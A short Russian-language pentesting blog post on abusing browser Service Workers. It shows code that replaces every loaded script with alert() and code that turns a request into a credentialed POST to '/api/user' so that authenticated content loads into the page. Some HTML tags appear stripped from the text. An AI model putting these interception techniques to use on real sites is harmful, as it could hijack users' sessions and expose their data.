Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует
как кэш в твоем браузере, а кто-то, наверное,
всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть
chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивлен
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега , то вернется alert().
Надо разместить куда-то serviceworker.js (на имя пофиг).
self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});
И зарегать его:
navigator.serviceWorker.register(‘serviceworker.js')
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});
И вместо , будет содержимое POST-запроса
>